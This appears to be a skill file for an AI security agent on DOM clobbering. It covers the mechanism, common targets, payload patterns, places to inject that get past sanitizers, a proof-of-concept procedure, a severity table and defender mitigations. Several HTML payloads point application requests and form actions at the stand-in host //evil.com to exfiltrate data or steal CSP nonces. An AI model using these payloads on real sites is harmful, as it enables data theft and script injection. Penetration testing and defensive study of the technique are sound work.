| name | dom-clobbering |
| description | DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups. |
| metadata | {"when_to_use":"dom clobbering window globals named elements anchor form innerhtml csp bypass","mitre_attack":"T1059.007","subdomain":"client-side","upstream_ref":"skills/_corpus/payloads/DOM Clobbering/"} |
DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.location overwrite (anchor w/ id=location)
- Library global config (jQuery's
$.cookie, etc)
- CSP nonce/source values read from globals
document.cookie (limited but exploitable)
window.onerror clobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
CSP nonce theft
<form name="nonce"><input name="nonce" value="ABC123"></form>
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default,
sanitize-html, bleach) because they contain no script tags or event
handlers. Targets:
- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page
5. Detection
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
6. PoC
Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
7. Severity
| Bug | Severity |
|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
8. Defender
- Sanitizers should strip
id= and name= from user content (DOMPurify
has ALLOW_DATA_ATTR: false + FORBID_ATTR: ['id', 'name'] config)
- Use
Object.defineProperty(window, 'config', {value: cfg, writable: false})
for security-critical globals
- Use scoped namespaces instead of window globals
- CSP
script-src w/ hashes (not just nonces) — DOM clobbering can't fake the hash
Cross-references
- Upstream:
skills/_corpus/payloads/DOM Clobbering/
- XSS overlap:
skills/exploit/web/xss.md
- CSS injection (similar tactical mindset):
skills/exploit/web/css-injection/SKILL.md (when added)
Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains